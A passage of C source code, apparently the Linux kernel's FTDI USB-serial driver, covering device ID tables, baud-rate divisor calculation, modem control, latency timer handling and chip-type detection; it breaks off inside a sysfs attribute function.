USB_DEVICE(FTDI_VID, FTDI_EKEY_CONV_USB_PID) },\n\t/* Infineon Devices */\n\t{ USB_DEVICE_INTERFACE_NUMBER(INFINEON_VID, INFINEON_TRIBOARD_TC1798_PID, 1) },\n\t{ USB_DEVICE_INTERFACE_NUMBER(INFINEON_VID, INFINEON_TRIBOARD_TC2X7_PID, 1) },\n\t/* GE Healthcare devices */\n\t{ USB_DEVICE(GE_HEALTHCARE_VID, GE_HEALTHCARE_NEMO_TRACKER_PID) },\n\t/* Active Research (Actisense) devices */\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_NDC_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_USG_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_NGT_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_NGW_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_D9AC_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_D9AD_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_D9AE_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACTISENSE_D9AF_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEAGAUGE_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASWITCH_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASMART_NMEA2000_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASMART_ETHERNET_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASMART_WIFI_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASMART_DISPLAY_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASMART_LITE_PID) },\n\t{ USB_DEVICE(FTDI_VID, CHETCO_SEASMART_ANALOG_PID) },\n\t/* ICP DAS I-756xU devices */\n\t{ USB_DEVICE(ICPDAS_VID, ICPDAS_I7560U_PID) },\n\t{ USB_DEVICE(ICPDAS_VID, ICPDAS_I7561U_PID) },\n\t{ USB_DEVICE(ICPDAS_VID, ICPDAS_I7563U_PID) },\n\t{ USB_DEVICE(WICED_VID, WICED_USB20706V2_PID) },\n\t{ USB_DEVICE(TI_VID, TI_CC3200_LAUNCHPAD_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(CYPRESS_VID, CYPRESS_WICED_BT_USB_PID) },\n\t{ USB_DEVICE(CYPRESS_VID, CYPRESS_WICED_WL_USB_PID) },\n\t{ USB_DEVICE(AIRBUS_DS_VID, AIRBUS_DS_P8GR) },\n\t/* EZPrototypes devices */\n\t{ USB_DEVICE(EZPROTOTYPES_VID, HJELMSLUND_USB485_ISO_PID) },\n\t{ USB_DEVICE_INTERFACE_NUMBER(UNJO_VID, UNJO_ISODEBUG_V1_PID, 1) },\n\t{ }\t\t\t\t\t/* Terminating entry */\n};\n\nMODULE_DEVICE_TABLE(usb, id_table_combined);\n\nstatic const char *ftdi_chip_name[] = {\n\t[SIO] = \"SIO\",\t/* the serial part of FT8U100AX */\n\t[FT8U232AM] = \"FT8U232AM\",\n\t[FT232BM] = \"FT232BM\",\n\t[FT2232C] = \"FT2232C\",\n\t[FT232RL] = \"FT232RL\",\n\t[FT2232H] = \"FT2232H\",\n\t[FT4232H] = \"FT4232H\",\n\t[FT232H] = \"FT232H\",\n\t[FTX] = \"FT-X\"\n};\n\n\n/* Used for TIOCMIWAIT */\n#define FTDI_STATUS_B0_MASK\t(FTDI_RS0_CTS | FTDI_RS0_DSR | FTDI_RS0_RI | FTDI_RS0_RLSD)\n#define FTDI_STATUS_B1_MASK\t(FTDI_RS_BI)\n/* End TIOCMIWAIT */\n\n/* function prototypes for a FTDI serial converter */\nstatic int ftdi_sio_probe(struct usb_serial *serial,\n\t\t\t\t\tconst struct usb_device_id *id);\nstatic int ftdi_sio_port_probe(struct usb_serial_port *port);\nstatic int ftdi_sio_port_remove(struct usb_serial_port *port);\nstatic int ftdi_open(struct tty_struct *tty, struct usb_serial_port *port);\nstatic void ftdi_dtr_rts(struct usb_serial_port *port, int on);\nstatic void ftdi_process_read_urb(struct urb *urb);\nstatic int ftdi_prepare_write_buffer(struct usb_serial_port *port,\n\t\t\t\t\t\tvoid *dest, size_t size);\nstatic void ftdi_set_termios(struct tty_struct *tty,\n\t\t\tstruct usb_serial_port *port, struct ktermios *old);\nstatic int ftdi_tiocmget(struct tty_struct *tty);\nstatic int ftdi_tiocmset(struct tty_struct *tty,\n\t\t\tunsigned int set, unsigned int clear);\nstatic int ftdi_ioctl(struct tty_struct *tty,\n\t\t\tunsigned int cmd, unsigned long arg);\nstatic void ftdi_break_ctl(struct tty_struct *tty, int break_state);\nstatic bool ftdi_tx_empty(struct usb_serial_port *port);\nstatic int ftdi_get_modem_status(struct usb_serial_port *port,\n\t\t\t\t\t\tunsigned char status[2]);\n\nstatic unsigned short int ftdi_232am_baud_base_to_divisor(int baud, int base);\nstatic unsigned short int ftdi_232am_baud_to_divisor(int baud);\nstatic __u32 ftdi_232bm_baud_base_to_divisor(int baud, int base);\nstatic __u32 ftdi_232bm_baud_to_divisor(int baud);\nstatic __u32 ftdi_2232h_baud_base_to_divisor(int baud, int base);\nstatic __u32 ftdi_2232h_baud_to_divisor(int baud);\n\nstatic struct usb_serial_driver ftdi_sio_device = {\n\t.driver = {\n\t\t.owner =\tTHIS_MODULE,\n\t\t.name =\t\t\"ftdi_sio\",\n\t},\n\t.description =\t\t\"FTDI USB Serial Device\",\n\t.id_table =\t\tid_table_combined,\n\t.num_ports =\t\t1,\n\t.bulk_in_size =\t\t512,\n\t.bulk_out_size =\t256,\n\t.probe =\t\tftdi_sio_probe,\n\t.port_probe =\t\tftdi_sio_port_probe,\n\t.port_remove =\t\tftdi_sio_port_remove,\n\t.open =\t\t\tftdi_open,\n\t.dtr_rts =\t\tftdi_dtr_rts,\n\t.throttle =\t\tusb_serial_generic_throttle,\n\t.unthrottle =\t\tusb_serial_generic_unthrottle,\n\t.process_read_urb =\tftdi_process_read_urb,\n\t.prepare_write_buffer =\tftdi_prepare_write_buffer,\n\t.tiocmget =\t\tftdi_tiocmget,\n\t.tiocmset =\t\tftdi_tiocmset,\n\t.tiocmiwait =\t\tusb_serial_generic_tiocmiwait,\n\t.get_icount = usb_serial_generic_get_icount,\n\t.ioctl =\t\tftdi_ioctl,\n\t.set_termios =\t\tftdi_set_termios,\n\t.break_ctl =\t\tftdi_break_ctl,\n\t.tx_empty =\t\tftdi_tx_empty,\n};\n\nstatic struct usb_serial_driver * const serial_drivers[] = {\n\t&ftdi_sio_device, NULL\n};\n\n\n#define WDR_TIMEOUT 5000 /* default urb timeout */\n#define WDR_SHORT_TIMEOUT 1000\t/* shorter urb timeout */\n\n/*\n * ***************************************************************************\n * Utility functions\n * ***************************************************************************\n */\n\nstatic unsigned short int ftdi_232am_baud_base_to_divisor(int baud, int base)\n{\n\tunsigned short int divisor;\n\t/* divisor shifted 3 bits to the left */\n\tint divisor3 = base / 2 / baud;\n\tif ((divisor3 & 0x7) == 7)\n\t\tdivisor3++; /* round x.7/8 up to x+1 */\n\tdivisor = divisor3 >> 3;\n\tdivisor3 &= 0x7;\n\tif (divisor3 == 1)\n\t\tdivisor |= 0xc000;\n\telse if (divisor3 >= 4)\n\t\tdivisor |= 0x4000;\n\telse if (divisor3 != 0)\n\t\tdivisor |= 0x8000;\n\telse if (divisor == 1)\n\t\tdivisor = 0;\t/* special case for maximum baud rate */\n\treturn divisor;\n}\n\nstatic unsigned short int ftdi_232am_baud_to_divisor(int baud)\n{\n\t return ftdi_232am_baud_base_to_divisor(baud, 48000000);\n}\n\nstatic __u32 ftdi_232bm_baud_base_to_divisor(int baud, int base)\n{\n\tstatic const unsigned char divfrac[8] = { 0, 3, 2, 4, 1, 5, 6, 7 };\n\t__u32 divisor;\n\t/* divisor shifted 3 bits to the left */\n\tint divisor3 = base / 2 / baud;\n\tdivisor = divisor3 >> 3;\n\tdivisor |= (__u32)divfrac[divisor3 & 0x7] << 14;\n\t/* Deal with special cases for highest baud rates. */\n\tif (divisor == 1)\n\t\tdivisor = 0;\n\telse if (divisor == 0x4001)\n\t\tdivisor = 1;\n\treturn divisor;\n}\n\nstatic __u32 ftdi_232bm_baud_to_divisor(int baud)\n{\n\t return ftdi_232bm_baud_base_to_divisor(baud, 48000000);\n}\n\nstatic __u32 ftdi_2232h_baud_base_to_divisor(int baud, int base)\n{\n\tstatic const unsigned char divfrac[8] = { 0, 3, 2, 4, 1, 5, 6, 7 };\n\t__u32 divisor;\n\tint divisor3;\n\n\t/* hi-speed baud rate is 10-bit sampling instead of 16-bit */\n\tdivisor3 = base * 8 / (baud * 10);\n\n\tdivisor = divisor3 >> 3;\n\tdivisor |= (__u32)divfrac[divisor3 & 0x7] << 14;\n\t/* Deal with special cases for highest baud rates. */\n\tif (divisor == 1)\n\t\tdivisor = 0;\n\telse if (divisor == 0x4001)\n\t\tdivisor = 1;\n\t/*\n\t * Set this bit to turn off a divide by 2.5 on baud rate generator\n\t * This enables baud rates up to 12Mbaud but cannot reach below 1200\n\t * baud with this bit set\n\t */\n\tdivisor |= 0x00020000;\n\treturn divisor;\n}\n\nstatic __u32 ftdi_2232h_baud_to_divisor(int baud)\n{\n\t return ftdi_2232h_baud_base_to_divisor(baud, 120000000);\n}\n\n#define set_mctrl(port, set)\t\tupdate_mctrl((port), (set), 0)\n#define clear_mctrl(port, clear)\tupdate_mctrl((port), 0, (clear))\n\nstatic int update_mctrl(struct usb_serial_port *port, unsigned int set,\n\t\t\t\t\t\t\tunsigned int clear)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct device *dev = &port->dev;\n\tunsigned urb_value;\n\tint rv;\n\n\tif (((set | clear) & (TIOCM_DTR | TIOCM_RTS)) == 0) {\n\t\tdev_dbg(dev, \"%s - DTR|RTS not being set|cleared\\n\", __func__);\n\t\treturn 0;\t/* no change */\n\t}\n\n\tclear &= ~set;\t/* 'set' takes precedence over 'clear' */\n\turb_value = 0;\n\tif (clear & TIOCM_DTR)\n\t\turb_value |= FTDI_SIO_SET_DTR_LOW;\n\tif (clear & TIOCM_RTS)\n\t\turb_value |= FTDI_SIO_SET_RTS_LOW;\n\tif (set & TIOCM_DTR)\n\t\turb_value |= FTDI_SIO_SET_DTR_HIGH;\n\tif (set & TIOCM_RTS)\n\t\turb_value |= FTDI_SIO_SET_RTS_HIGH;\n\trv = usb_control_msg(port->serial->dev,\n\t\t\t usb_sndctrlpipe(port->serial->dev, 0),\n\t\t\t FTDI_SIO_SET_MODEM_CTRL_REQUEST,\n\t\t\t FTDI_SIO_SET_MODEM_CTRL_REQUEST_TYPE,\n\t\t\t urb_value, priv->interface,\n\t\t\t NULL, 0, WDR_TIMEOUT);\n\tif (rv < 0) {\n\t\tdev_dbg(dev, \"%s Error from MODEM_CTRL urb: DTR %s, RTS %s\\n\",\n\t\t\t__func__,\n\t\t\t(set & TIOCM_DTR) ? \"HIGH\" : (clear & TIOCM_DTR) ? \"LOW\" : \"unchanged\",\n\t\t\t(set & TIOCM_RTS) ? \"HIGH\" : (clear & TIOCM_RTS) ? \"LOW\" : \"unchanged\");\n\t\trv = usb_translate_errors(rv);\n\t} else {\n\t\tdev_dbg(dev, \"%s - DTR %s, RTS %s\\n\", __func__,\n\t\t\t(set & TIOCM_DTR) ? \"HIGH\" : (clear & TIOCM_DTR) ? \"LOW\" : \"unchanged\",\n\t\t\t(set & TIOCM_RTS) ? \"HIGH\" : (clear & TIOCM_RTS) ? \"LOW\" : \"unchanged\");\n\t\t/* FIXME: locking on last_dtr_rts */\n\t\tpriv->last_dtr_rts = (priv->last_dtr_rts & ~clear) | set;\n\t}\n\treturn rv;\n}\n\n\nstatic __u32 get_ftdi_divisor(struct tty_struct *tty,\n\t\t\t\t\t\tstruct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct device *dev = &port->dev;\n\t__u32 div_value = 0;\n\tint div_okay = 1;\n\tint baud;\n\n\t/*\n\t * The logic involved in setting the baudrate can be cleanly split into\n\t * 3 steps.\n\t * 1. Standard baud rates are set in tty->termios->c_cflag\n\t * 2. If these are not enough, you can set any speed using alt_speed as\n\t * follows:\n\t * - set tty->termios->c_cflag speed to B38400\n\t * - set your real speed in tty->alt_speed; it gets ignored when\n\t * alt_speed==0, (or)\n\t * - call TIOCSSERIAL ioctl with (struct serial_struct) set as\n\t *\tfollows:\n\t * flags & ASYNC_SPD_MASK == ASYNC_SPD_[HI, VHI, SHI, WARP],\n\t *\tthis just sets alt_speed to (HI: 57600, VHI: 115200,\n\t *\tSHI: 230400, WARP: 460800)\n\t * ** Steps 1, 2 are done courtesy of tty_get_baud_rate\n\t * 3. You can also set baud rate by setting custom divisor as follows\n\t * - set tty->termios->c_cflag speed to B38400\n\t * - call TIOCSSERIAL ioctl with (struct serial_struct) set as\n\t *\tfollows:\n\t * o flags & ASYNC_SPD_MASK == ASYNC_SPD_CUST\n\t * o custom_divisor set to baud_base / your_new_baudrate\n\t * ** Step 3 is done courtesy of code borrowed from serial.c\n\t * I should really spend some time and separate + move this common\n\t * code to serial.c, it is replicated in nearly every serial driver\n\t * you see.\n\t */\n\n\t/* 1. Get the baud rate from the tty settings, this observes\n\t alt_speed hack */\n\n\tbaud = tty_get_baud_rate(tty);\n\tdev_dbg(dev, \"%s - tty_get_baud_rate reports speed %d\\n\", __func__, baud);\n\n\t/* 2. Observe async-compatible custom_divisor hack, update baudrate\n\t if needed */\n\n\tif (baud == 38400 &&\n\t ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_CUST) &&\n\t (priv->custom_divisor)) {\n\t\tbaud = priv->baud_base / priv->custom_divisor;\n\t\tdev_dbg(dev, \"%s - custom divisor %d sets baud rate to %d\\n\",\n\t\t\t__func__, priv->custom_divisor, baud);\n\t}\n\n\t/* 3. Convert baudrate to device-specific divisor */\n\n\tif (!baud)\n\t\tbaud = 9600;\n\tswitch (priv->chip_type) {\n\tcase SIO: /* SIO chip */\n\t\tswitch (baud) {\n\t\tcase 300: div_value = ftdi_sio_b300; break;\n\t\tcase 600: div_value = ftdi_sio_b600; break;\n\t\tcase 1200: div_value = ftdi_sio_b1200; break;\n\t\tcase 2400: div_value = ftdi_sio_b2400; break;\n\t\tcase 4800: div_value = ftdi_sio_b4800; break;\n\t\tcase 9600: div_value = ftdi_sio_b9600; break;\n\t\tcase 19200: div_value = ftdi_sio_b19200; break;\n\t\tcase 38400: div_value = ftdi_sio_b38400; break;\n\t\tcase 57600: div_value = ftdi_sio_b57600; break;\n\t\tcase 115200: div_value = ftdi_sio_b115200; break;\n\t\t} /* baud */\n\t\tif (div_value == 0) {\n\t\t\tdev_dbg(dev, \"%s - Baudrate (%d) requested is not supported\\n\",\n\t\t\t\t__func__, baud);\n\t\t\tdiv_value = ftdi_sio_b9600;\n\t\t\tbaud = 9600;\n\t\t\tdiv_okay = 0;\n\t\t}\n\t\tbreak;\n\tcase FT8U232AM: /* 8U232AM chip */\n\t\tif (baud <= 3000000) {\n\t\t\tdiv_value = ftdi_232am_baud_to_divisor(baud);\n\t\t} else {\n\t\t\tdev_dbg(dev, \"%s - Baud rate too high!\\n\", __func__);\n\t\t\tbaud = 9600;\n\t\t\tdiv_value = ftdi_232am_baud_to_divisor(9600);\n\t\t\tdiv_okay = 0;\n\t\t}\n\t\tbreak;\n\tcase FT232BM: /* FT232BM chip */\n\tcase FT2232C: /* FT2232C chip */\n\tcase FT232RL: /* FT232RL chip */\n\tcase FTX: /* FT-X series */\n\t\tif (baud <= 3000000) {\n\t\t\t__u16 product_id = le16_to_cpu(\n\t\t\t\tport->serial->dev->descriptor.idProduct);\n\t\t\tif (((FTDI_NDI_HUC_PID == product_id) ||\n\t\t\t (FTDI_NDI_SPECTRA_SCU_PID == product_id) ||\n\t\t\t (FTDI_NDI_FUTURE_2_PID == product_id) ||\n\t\t\t (FTDI_NDI_FUTURE_3_PID == product_id) ||\n\t\t\t (FTDI_NDI_AURORA_SCU_PID == product_id)) &&\n\t\t\t (baud == 19200)) {\n\t\t\t\tbaud = 1200000;\n\t\t\t}\n\t\t\tdiv_value = ftdi_232bm_baud_to_divisor(baud);\n\t\t} else {\n\t\t\tdev_dbg(dev, \"%s - Baud rate too high!\\n\", __func__);\n\t\t\tdiv_value = ftdi_232bm_baud_to_divisor(9600);\n\t\t\tdiv_okay = 0;\n\t\t\tbaud = 9600;\n\t\t}\n\t\tbreak;\n\tcase FT2232H: /* FT2232H chip */\n\tcase FT4232H: /* FT4232H chip */\n\tcase FT232H: /* FT232H chip */\n\t\tif ((baud <= 12000000) && (baud >= 1200)) {\n\t\t\tdiv_value = ftdi_2232h_baud_to_divisor(baud);\n\t\t} else if (baud < 1200) {\n\t\t\tdiv_value = ftdi_232bm_baud_to_divisor(baud);\n\t\t} else {\n\t\t\tdev_dbg(dev, \"%s - Baud rate too high!\\n\", __func__);\n\t\t\tdiv_value = ftdi_232bm_baud_to_divisor(9600);\n\t\t\tdiv_okay = 0;\n\t\t\tbaud = 9600;\n\t\t}\n\t\tbreak;\n\t} /* priv->chip_type */\n\n\tif (div_okay) {\n\t\tdev_dbg(dev, \"%s - Baud rate set to %d (divisor 0x%lX) on chip %s\\n\",\n\t\t\t__func__, baud, (unsigned long)div_value,\n\t\t\tftdi_chip_name[priv->chip_type]);\n\t}\n\n\ttty_encode_baud_rate(tty, baud, baud);\n\treturn div_value;\n}\n\nstatic int change_speed(struct tty_struct *tty, struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\t__u16 urb_value;\n\t__u16 urb_index;\n\t__u32 urb_index_value;\n\tint rv;\n\n\turb_index_value = get_ftdi_divisor(tty, port);\n\turb_value = (__u16)urb_index_value;\n\turb_index = (__u16)(urb_index_value >> 16);\n\tif ((priv->chip_type == FT2232C) || (priv->chip_type == FT2232H) ||\n\t\t(priv->chip_type == FT4232H) || (priv->chip_type == FT232H)) {\n\t\t/* Probably the BM type needs the MSB of the encoded fractional\n\t\t * divider also moved like for the chips above. Any infos? */\n\t\turb_index = (__u16)((urb_index << 8) | priv->interface);\n\t}\n\n\trv = usb_control_msg(port->serial->dev,\n\t\t\t usb_sndctrlpipe(port->serial->dev, 0),\n\t\t\t FTDI_SIO_SET_BAUDRATE_REQUEST,\n\t\t\t FTDI_SIO_SET_BAUDRATE_REQUEST_TYPE,\n\t\t\t urb_value, urb_index,\n\t\t\t NULL, 0, WDR_SHORT_TIMEOUT);\n\treturn rv;\n}\n\nstatic int write_latency_timer(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct usb_device *udev = port->serial->dev;\n\tint rv;\n\tint l = priv->latency;\n\n\tif (priv->flags & ASYNC_LOW_LATENCY)\n\t\tl = 1;\n\n\tdev_dbg(&port->dev, \"%s: setting latency timer = %i\\n\", __func__, l);\n\n\trv = usb_control_msg(udev,\n\t\t\t usb_sndctrlpipe(udev, 0),\n\t\t\t FTDI_SIO_SET_LATENCY_TIMER_REQUEST,\n\t\t\t FTDI_SIO_SET_LATENCY_TIMER_REQUEST_TYPE,\n\t\t\t l, priv->interface,\n\t\t\t NULL, 0, WDR_TIMEOUT);\n\tif (rv < 0)\n\t\tdev_err(&port->dev, \"Unable to write latency timer: %i\\n\", rv);\n\treturn rv;\n}\n\nstatic int read_latency_timer(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct usb_device *udev = port->serial->dev;\n\tunsigned char *buf;\n\tint rv;\n\n\tbuf = kmalloc(1, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;\n\n\trv = usb_control_msg(udev,\n\t\t\t usb_rcvctrlpipe(udev, 0),\n\t\t\t FTDI_SIO_GET_LATENCY_TIMER_REQUEST,\n\t\t\t FTDI_SIO_GET_LATENCY_TIMER_REQUEST_TYPE,\n\t\t\t 0, priv->interface,\n\t\t\t buf, 1, WDR_TIMEOUT);\n\tif (rv < 1) {\n\t\tdev_err(&port->dev, \"Unable to read latency timer: %i\\n\", rv);\n\t\tif (rv >= 0)\n\t\t\trv = -EIO;\n\t} else {\n\t\tpriv->latency = buf[0];\n\t}\n\n\tkfree(buf);\n\n\treturn rv;\n}\n\nstatic int get_serial_info(struct usb_serial_port *port,\n\t\t\t\tstruct serial_struct __user *retinfo)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct serial_struct tmp;\n\n\tif (!retinfo)\n\t\treturn -EFAULT;\n\tmemset(&tmp, 0, sizeof(tmp));\n\ttmp.flags = priv->flags;\n\ttmp.baud_base = priv->baud_base;\n\ttmp.custom_divisor = priv->custom_divisor;\n\tif (copy_to_user(retinfo, &tmp, sizeof(*retinfo)))\n\t\treturn -EFAULT;\n\treturn 0;\n}\n\nstatic int set_serial_info(struct tty_struct *tty,\n\tstruct usb_serial_port *port, struct serial_struct __user *newinfo)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct serial_struct new_serial;\n\tstruct ftdi_private old_priv;\n\n\tif (copy_from_user(&new_serial, newinfo, sizeof(new_serial)))\n\t\treturn -EFAULT;\n\n\tmutex_lock(&priv->cfg_lock);\n\told_priv = *priv;\n\n\t/* Do error checking and permission checking */\n\n\tif (!capable(CAP_SYS_ADMIN)) {\n\t\tif (((new_serial.flags & ~ASYNC_USR_MASK) !=\n\t\t (priv->flags & ~ASYNC_USR_MASK))) {\n\t\t\tmutex_unlock(&priv->cfg_lock);\n\t\t\treturn -EPERM;\n\t\t}\n\t\tpriv->flags = ((priv->flags & ~ASYNC_USR_MASK) |\n\t\t\t (new_serial.flags & ASYNC_USR_MASK));\n\t\tpriv->custom_divisor = new_serial.custom_divisor;\n\t\tgoto check_and_exit;\n\t}\n\n\tif (new_serial.baud_base != priv->baud_base) {\n\t\tmutex_unlock(&priv->cfg_lock);\n\t\treturn -EINVAL;\n\t}\n\n\t/* Make the changes - these are privileged changes! */\n\n\tpriv->flags = ((priv->flags & ~ASYNC_FLAGS) |\n\t\t\t\t\t(new_serial.flags & ASYNC_FLAGS));\n\tpriv->custom_divisor = new_serial.custom_divisor;\n\ncheck_and_exit:\n\twrite_latency_timer(port);\n\n\tif ((old_priv.flags & ASYNC_SPD_MASK) !=\n\t (priv->flags & ASYNC_SPD_MASK)) {\n\t\tif ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_HI)\n\t\t\ttty->alt_speed = 57600;\n\t\telse if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_VHI)\n\t\t\ttty->alt_speed = 115200;\n\t\telse if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_SHI)\n\t\t\ttty->alt_speed = 230400;\n\t\telse if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_WARP)\n\t\t\ttty->alt_speed = 460800;\n\t\telse\n\t\t\ttty->alt_speed = 0;\n\t}\n\tif (((old_priv.flags & ASYNC_SPD_MASK) !=\n\t (priv->flags & ASYNC_SPD_MASK)) ||\n\t (((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_CUST) &&\n\t (old_priv.custom_divisor != priv->custom_divisor))) {\n\t\tchange_speed(tty, port);\n\t\tmutex_unlock(&priv->cfg_lock);\n\t}\n\telse\n\t\tmutex_unlock(&priv->cfg_lock);\n\treturn 0;\n}\n\nstatic int get_lsr_info(struct usb_serial_port *port,\n\t\t\tstruct serial_struct __user *retinfo)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tunsigned int result = 0;\n\n\tif (!retinfo)\n\t\treturn -EFAULT;\n\n\tif (priv->transmit_empty)\n\t\tresult = TIOCSER_TEMT;\n\n\tif (copy_to_user(retinfo, &result, sizeof(unsigned int)))\n\t\treturn -EFAULT;\n\treturn 0;\n}\n\n\n/* Determine type of FTDI chip based on USB config and descriptor. */\nstatic void ftdi_determine_type(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct usb_serial *serial = port->serial;\n\tstruct usb_device *udev = serial->dev;\n\tunsigned version;\n\tunsigned interfaces;\n\n\t/* Assume it is not the original SIO device for now. */\n\tpriv->baud_base = 48000000 / 2;\n\n\tversion = le16_to_cpu(udev->descriptor.bcdDevice);\n\tinterfaces = udev->actconfig->desc.bNumInterfaces;\n\tdev_dbg(&port->dev, \"%s: bcdDevice = 0x%x, bNumInterfaces = %u\\n\", __func__,\n\t\tversion, interfaces);\n\tif (interfaces > 1) {\n\t\tint inter;\n\n\t\t/* Multiple interfaces.*/\n\t\tif (version == 0x0800) {\n\t\t\tpriv->chip_type = FT4232H;\n\t\t\t/* Hi-speed - baud clock runs at 120MHz */\n\t\t\tpriv->baud_base = 120000000 / 2;\n\t\t} else if (version == 0x0700) {\n\t\t\tpriv->chip_type = FT2232H;\n\t\t\t/* Hi-speed - baud clock runs at 120MHz */\n\t\t\tpriv->baud_base = 120000000 / 2;\n\t\t} else\n\t\t\tpriv->chip_type = FT2232C;\n\n\t\t/* Determine interface code. */\n\t\tinter = serial->interface->altsetting->desc.bInterfaceNumber;\n\t\tif (inter == 0) {\n\t\t\tpriv->interface = INTERFACE_A;\n\t\t} else if (inter == 1) {\n\t\t\tpriv->interface = INTERFACE_B;\n\t\t} else if (inter == 2) {\n\t\t\tpriv->interface = INTERFACE_C;\n\t\t} else if (inter == 3) {\n\t\t\tpriv->interface = INTERFACE_D;\n\t\t}\n\t\t/* BM-type devices have a bug where bcdDevice gets set\n\t\t * to 0x200 when iSerialNumber is 0. */\n\t\tif (version < 0x500) {\n\t\t\tdev_dbg(&port->dev,\n\t\t\t\t\"%s: something fishy - bcdDevice too low for multi-interface device\\n\",\n\t\t\t\t__func__);\n\t\t}\n\t} else if (version < 0x200) {\n\t\t/* Old device. Assume it's the original SIO. */\n\t\tpriv->chip_type = SIO;\n\t\tpriv->baud_base = 12000000 / 16;\n\t} else if (version < 0x400) {\n\t\t/* Assume it's an FT8U232AM (or FT8U245AM) */\n\t\t/* (It might be a BM because of the iSerialNumber bug,\n\t\t * but it will still work as an AM device.) */\n\t\tpriv->chip_type = FT8U232AM;\n\t} else if (version < 0x600) {\n\t\t/* Assume it's an FT232BM (or FT245BM) */\n\t\tpriv->chip_type = FT232BM;\n\t} else if (version < 0x900) {\n\t\t/* Assume it's an FT232RL */\n\t\tpriv->chip_type = FT232RL;\n\t} else if (version < 0x1000) {\n\t\t/* Assume it's an FT232H */\n\t\tpriv->chip_type = FT232H;\n\t} else {\n\t\t/* Assume it's an FT-X series device */\n\t\tpriv->chip_type = FTX;\n\t}\n\n\tdev_info(&udev->dev, \"Detected %s\\n\", ftdi_chip_name[priv->chip_type]);\n}\n\n\n/*\n * Determine the maximum packet size for the device. This depends on the chip\n * type and the USB host capabilities. The value should be obtained from the\n * device descriptor as the chip will use the appropriate values for the host.\n */\nstatic void ftdi_set_max_packet_size(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct usb_interface *interface = port->serial->interface;\n\tstruct usb_endpoint_descriptor *ep_desc;\n\tunsigned num_endpoints;\n\tunsigned i;\n\n\tnum_endpoints = interface->cur_altsetting->desc.bNumEndpoints;\n\tif (!num_endpoints)\n\t\treturn;\n\n\t/*\n\t * NOTE: Some customers have programmed FT232R/FT245R devices\n\t * with an endpoint size of 0 - not good. In this case, we\n\t * want to override the endpoint descriptor setting and use a\n\t * value of 64 for wMaxPacketSize.\n\t */\n\tfor (i = 0; i < num_endpoints; i++) {\n\t\tep_desc = &interface->cur_altsetting->endpoint[i].desc;\n\t\tif (!ep_desc->wMaxPacketSize) {\n\t\t\tep_desc->wMaxPacketSize = cpu_to_le16(0x40);\n\t\t\tdev_warn(&port->dev, \"Overriding wMaxPacketSize on endpoint %d\\n\",\n\t\t\t\t\tusb_endpoint_num(ep_desc));\n\t\t}\n\t}\n\n\t/* Set max packet size based on last descriptor. */\n\tpriv->max_packet_size = usb_endpoint_maxp(ep_desc);\n}\n\n\n/*\n * ***************************************************************************\n * Sysfs Attribute\n * ***************************************************************************\n */\n\nstatic ssize_t latency_timer_show(struct device *dev,\n\t\t\t\t struct device_attribute *attr, char *buf)\n{\n\tstruct usb_serial_port *port = to_usb_serial_port(dev);\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tif (priv->flags & ASYNC_LOW_LATENCY)\n\t\treturn sprintf(buf, \"1\\n\");\n\telse\n\t\treturn sprintf(buf, \"%i\\n\", priv->latency);\n}\n\n/* Write a new value of the latency timer, in units of milliseconds. */\nstatic ssize_t latency_timer_store(struct device *dev,\n\t\t\t\t struct device_attribute *attr,\n\t\t\t\t const char *valbuf, size_t count)\n{\n\tstruct usb_serial_port *port = to_usb_serial_port(dev);\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tint v = simple_strtoul(valbuf, NULL, 10);\n\tint rv;\n\n\tpriv->latency = v;\n\trv = write_latency_timer(port);\n\tif (rv < 0)\n\t\treturn -EIO;\n\treturn count;\n}\nstatic DEVICE_ATTR_RW(latency_timer);\n\n/* Write an event character directly to the FTDI register. The ASCII\n value is in the low 8 bits, with the enable bit in the 9th bit. */\nstatic ssize_t store_event_char(struct device *dev,\n\tstruct device_attribute *attr, const char *valbuf, size_t count)\n{\n\tstruct usb_serial_port *port = to_usb_serial_port(dev);\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct usb_device *udev = port->serial->dev;\n\tint v = simple_strtoul(valbuf, NULL, 10);\n\tint 